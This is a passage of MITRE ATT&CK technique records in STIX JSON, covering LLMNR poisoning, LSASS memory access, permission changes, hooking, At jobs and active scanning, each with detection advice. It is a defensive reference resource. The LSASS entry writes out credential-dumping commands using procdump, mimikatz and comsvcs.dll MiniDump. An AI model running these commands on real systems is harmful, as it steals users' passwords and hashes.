2020.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/r980-ransomware-disposable-email-service/"}, {"source_name": "Free Trial PurpleUrchin", "description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.", "url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/"}, {"source_name": "Mandiant APT1", "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-10-25T15:46:55.393Z", "name": "LLMNR/NBT-NS Poisoning and SMB Relay", "description": "By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR)(Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords.\n\nIn some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay) Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response.\u00a0\n\nSeveral tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174).(Citation: GitHub NBNSpoof)(Citation: Rapid7 LLMNR Spoofer)(Citation: GitHub Responder)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}, {"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_detection": "Monitor <code>HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient</code> for changes to the \"EnableMulticast\" DWORD value. A value of \u201c0\u201d indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\n\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\n\nDeploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)", "x_mitre_platforms": ["Windows"], "x_mitre_is_subtechnique": true, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.4", "x_mitre_contributors": ["Eric Kuehn, Secure Ideas", "Matthew Demaske, Adaptforward", "Andrew Allen, @whitehat_zero"], "x_mitre_data_sources": ["Service: Service Creation", "Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content", "Windows Registry: Windows Registry Key Modification"], "type": "attack-pattern", "id": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e", "created": "2020-02-11T19:08:51.677Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1557/001", "external_id": "T1557.001"}, {"source_name": "Rapid7 LLMNR Spoofer", "description": "Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.", "url": "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response"}, {"source_name": "GitHub Responder", "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.", "url": "https://github.com/SpiderLabs/Responder"}, {"source_name": "Secure Ideas SMB Relay", "description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019.", "url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html"}, {"source_name": "TechNet NetBIOS", "description": "Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.", "url": "https://technet.microsoft.com/library/cc958811.aspx"}, {"source_name": "GitHub NBNSpoof", "description": "Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.", "url": "https://github.com/nomex/nbnspoof"}, {"source_name": "GitHub Conveigh", "description": "Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.", "url": "https://github.com/Kevin-Robertson/Conveigh"}, {"source_name": "byt3bl33d3r NTLM Relaying", "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.", "url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html"}, {"source_name": "Sternsecurity LLMNR-NBTNS", "description": "Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.", "url": "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning"}, {"source_name": "Wikipedia LLMNR", "description": "Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.", "url": "https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.0.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-10-19T17:54:06.038Z", "name": "File and Directory Permissions Modification", "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nModifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory\u2019s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).\n\nAdversaries may also change permissions of symbolic links. For example, malware (particularly ransomware) may modify symbolic links and associated settings to enable access to files from local shortcuts with remote paths.(Citation: new_rust_based_ransomware)(Citation: bad_luck_blackcat)(Citation: falconoverwatch_blackcat_attack)(Citation: blackmatter_blackcat)(Citation: fsutil_behavior) ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)", "x_mitre_platforms": ["Linux", "Windows", "macOS"], "x_mitre_is_subtechnique": false, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "2.2", "x_mitre_contributors": ["CrowdStrike Falcon OverWatch", "Jan Miller, CrowdStrike"], "x_mitre_data_sources": ["Process: Process Creation", "Active Directory: Active Directory Object Modification", "Command: Command Execution", "File: File Metadata"], "x_mitre_defense_bypassed": ["File system access controls"], "type": "attack-pattern", "id": "attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1222", "external_id": "T1222"}, {"source_name": "falconoverwatch_blackcat_attack", "description": "Falcon OverWatch Team. (2022, March 23). Falcon OverWatch Threat Hunting Contributes to Seamless Protection Against Novel BlackCat Attack. Retrieved May 5, 2022.", "url": "https://www.crowdstrike.com/blog/falcon-overwatch-contributes-to-blackcat-protection/"}, {"source_name": "Hybrid Analysis Icacls1 June 2018", "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.", "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100"}, {"source_name": "Hybrid Analysis Icacls2 May 2018", "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.", "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110"}, {"source_name": "bad_luck_blackcat", "description": "Kaspersky Global Research & Analysis Team (GReAT). (2022). A Bad Luck BlackCat. Retrieved May 5, 2022.", "url": "https://go.kaspersky.com/rs/802-IJN-240/images/TR_BlackCat_Report.pdf"}, {"source_name": "fsutil_behavior", "description": "Microsoft. (2021, September 27). fsutil behavior. Retrieved January 14, 2022.", "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-behavior"}, {"source_name": "EventTracker File Permissions Feb 2014", "description": "Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.", "url": "https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/"}, {"source_name": "blackmatter_blackcat", "description": "Pereira, T. Huey, C. (2022, March 17). From BlackMatter to BlackCat: Analyzing two attacks from one affiliate. Retrieved May 5, 2022.", "url": "https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html"}, {"source_name": "new_rust_based_ransomware", "description": "Symantec Threat Hunter Team. (2021, December 16). Noberus: Technical Analysis Shows Sophistication of New Rust-based Ransomware. Retrieved January 14, 2022.", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-alphv-rust-ransomware"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-12-27T17:57:20.003Z", "name": "LSASS Memory", "description": "Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* <code>procdump -ma lsass.exe lsass_dump</code>\n\nLocally, mimikatz can be run using:\n\n* <code>sekurlsa::Minidump lsassdump.dmp</code>\n* <code>sekurlsa::logonPasswords</code>\n\nBuilt-in Windows tools such as `comsvcs.dll` can also be used:\n\n* <code>rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump PID  lsass.dmp full</code>(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)\n\nSimilar to [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012), the silent process exit mechanism can be abused to create a memory dump of `lsass.exe` through Windows Error Reporting (`WerFault.exe`).(Citation: Deep Instinct LSASS)\n\nWindows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)\n\nThe following SSPs can be used to access credentials:\n\n* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\n* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)\n* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\n* CredSSP:  Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["Edward Millington", "Ed Williams, Trustwave, SpiderLabs", "Olaf Hartong, Falcon Force"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.4", "x_mitre_data_sources": ["Process: Process Access", "Windows Registry: Windows Registry Key Modification", "Process: Process Creation", "Process: OS API Execution", "Logon Session: Logon Session Creation", "Command: Command Execution", "File: File Creation"], "type": "attack-pattern", "id": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "created": "2020-02-11T18:41:44.783Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1003/001", "external_id": "T1003.001"}, {"source_name": "Medium Detecting Attempts to Steal Passwords from Memory", "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.", "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"}, {"source_name": "Deep Instinct LSASS", "description": "Gilboa, A. (2021, February 16). LSASS Memory Dumps are Stealthier than Ever Before - Part 2. Retrieved December 27, 2023.", "url": "https://www.deepinstinct.com/blog/lsass-memory-dumps-are-stealthier-than-ever-before-part-2"}, {"source_name": "Graeber 2014", "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"}, {"source_name": "Volexity Exchange Marauder March 2021", "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.", "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"}, {"source_name": "Powersploit", "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", "url": "https://github.com/mattifestation/PowerSploit"}, {"source_name": "Symantec Attacks Against Government Sector", "description": "Symantec. (2021, June 10). Attacks Against the Government Sector. Retrieved September 28, 2021.", "url": "https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf"}, {"source_name": "TechNet Blogs Credential Protection", "description": "Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018.", "url": "https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e", "created": "2019-12-03T12:59:36.749Z", "x_mitre_version": "1.1", "external_references": [{"source_name": "mitre-attack", "external_id": "T1053.001", "url": "https://attack.mitre.org/techniques/T1053/001"}, {"source_name": "rowland linux at 2019", "url": "https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/", "description": "Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021."}, {"source_name": "GTFObins at", "url": "https://gtfobins.github.io/gtfobins/at/", "description": "Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021."}, {"source_name": "Kifarunix - Task Scheduling in Linux", "url": "https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/", "description": "Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019."}], "x_mitre_deprecated": false, "revoked": true, "description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)\n\nAn adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.\n\nAdversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via <code>sudo</code>.(Citation: GTFObins at)", "modified": "2022-04-16T20:45:01.814Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "At (Linux)", "x_mitre_detection": "Monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the <code>atq</code> command and ensure IP addresses stored in the <code>SSH_CONNECTION</code> and <code>SSH_CLIENT</code> variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in <code>/var/spool/cron/atjobs/</code>.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_is_subtechnique": true, "x_mitre_remote_support": true, "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5", "type": "attack-pattern", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"url": "https://attack.mitre.org/techniques/T1179", "external_id": "T1179", "source_name": "mitre-attack"}, {"source_name": "Microsoft Hook Overview", "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.", "url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx"}, {"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "source_name": "Elastic Process Injection July 2017"}, {"source_name": "Adlice Software IAT Hooks Oct 2014", "description": "Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.", "url": "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/"}, {"source_name": "MWRInfoSecurity Dynamic Hooking 2015", "description": "Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.", "url": "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/"}, {"source_name": "HighTech Bridge Inline Hooking Sept 2011", "description": "Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.", "url": "https://www.exploit-db.com/docs/17802.pdf"}, {"source_name": "Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017", "description": "Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.", "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918"}, {"source_name": "Symantec Windows Rootkits", "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.", "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf"}, {"source_name": "Volatility Detecting Hooks Sept 2012", "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.", "url": "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html"}, {"source_name": "PreKageo Winhook Jul 2011", "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.", "url": "https://github.com/prekageo/winhook"}, {"source_name": "Jay GetHooks Sept 2011", "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.", "url": "https://github.com/jay/gethooks"}, {"source_name": "Zairon Hooking Dec 2006", "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.", "url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/"}, {"source_name": "EyeofRa Detecting Hooking June 2017", "description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.", "url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/"}, {"source_name": "GMER Rootkits", "description": "GMER. (n.d.). GMER. Retrieved December 12, 2017.", "url": "http://www.gmer.net/"}, {"source_name": "Microsoft Process Snapshot", "description": "Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.", "url": "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx"}, {"source_name": "StackExchange Hooks Jul 2012", "description": "Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.", "url": "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis"}], "modified": "2020-11-10T18:29:30.516Z", "name": "Hooking", "description": "Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. \n\nHooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored. (Citation: Elastic Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Elastic Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_detection": "Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools  (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors  (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes  (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--67073dde-d720-45ae-83da-b12d5e73ca3b", "type": "attack-pattern", "created": "2020-10-02T16:53:16.526Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1595", "url": "https://attack.mitre.org/techniques/T1595"}, {"source_name": "Botnet Scan", "url": "https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf", "description": "Dainotti, A. et al. (2012). Analysis of a \u201c/0\u201d Stealth Scan from a Botnet. Retrieved October 20, 2020."}, {"source_name": "OWASP Fingerprinting", "url": "https://wiki.owasp.org/index.php/OAT-004_Fingerprinting", "description": "OWASP Wiki. (2018, February 16). OAT-004 Fingerprinting. Retrieved October 20, 2020."}], "modified": "2022-03-08T20:58:13.661Z", "name": "Active Scanning", "description": "Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.\n\nAdversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during 